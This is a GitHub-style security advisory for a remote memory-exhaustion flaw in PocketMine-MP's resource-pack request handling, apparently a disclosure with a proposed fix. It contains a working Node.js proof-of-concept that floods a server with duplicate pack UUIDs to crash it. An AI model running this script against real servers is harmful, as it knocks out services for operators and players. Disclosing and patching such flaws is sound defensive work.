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GHSA-fqqv-56h5-f57g

HighCVSS 8.7 / 10
Published Sep 2, 2025·Last modified Sep 2, 2025
Affected Components(0)

No affected components available

Description

Summary

A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket. PocketMine-MP processes the packIds array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: High — Remote DoS from an authenticated client.


Details

Relevant code (simplified):

case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
    foreach($packet->packIds as $uuid){
        $splitPos = strpos($uuid, "_");
        if($splitPos !== false){
            $uuid = substr($uuid, 0, $splitPos);
        }
        $pack = $this->getPackById($uuid);
        if(!($pack instanceof ResourcePack)){
            $this->disconnectWithError("Unknown pack $uuid requested...");
            return false;
        }
        $this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
            $pack->getPackId(),
            self::PACK_CHUNK_SIZE,
            (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),
            $pack->getPackSize(),
            $pack->getSha256(),
            false,
            ResourcePackType::RESOURCES
        ));
    }
    break;

Root cause:

  • The packIds array is taken directly from the client packet and processed as-is.
  • There is no check to ensure that all requested packs are unique.
  • A malicious client can craft a STATUS_SEND_PACKS packet with many duplicates of a valid UUID.
  • Each duplicate results in the server re-sending the same pack, consuming additional memory.

Why this is unexpected:

  • Mojang's official clients never send duplicates in packIds.
  • PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.

Suggested fix: Before sending packs:

  1. Remove duplicates from the incoming packIds array.
  2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
  3. Track which packs have already been sent to this player, and skip any that have already been transferred.
$alreadySent = $this->packsSent ?? [];

// Remove duplicates
$uniquePackIds = array_unique($packet->packIds);

// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
    $this->disconnectWithError("Too many duplicate resource pack requests");
    return false;
}

foreach($uniquePackIds as $uuid){
    if(in_array($uuid, $alreadySent, true)){
        continue; // Skip packs already sent to this player
    }
    // existing code...
    $alreadySent[] = $uuid;
}

$this->packsSent = $alreadySent;

PoC

  1. Join a PocketMine-MP server with at least one resource pack enabled.

  2. Using a custom Bedrock client, send a ResourcePackClientResponsePacket with:

    • status = STATUS_SEND_PACKS
    • packIds = many duplicates of a known valid pack UUID.

Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;

const client = createClient({
    host,
    port,
    username,
    offline: true
});

client.on('spawn', () => {
    console.log('[*] Sending duplicate pack request...');
    client.queue('resource_pack_client_response', {
        response_status: 'send_packs',
        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
    });
});

Impact

  • Type: Remote Denial of Service / Memory Exhaustion
  • Who is impacted: Any PocketMine-MP server with resource packs enabled
  • Requirements: Attacker must connect to the server (authenticated player)
  • Effect: Server memory rapidly increases, leading to freeze or crash
Risk Scores
Base Score
8.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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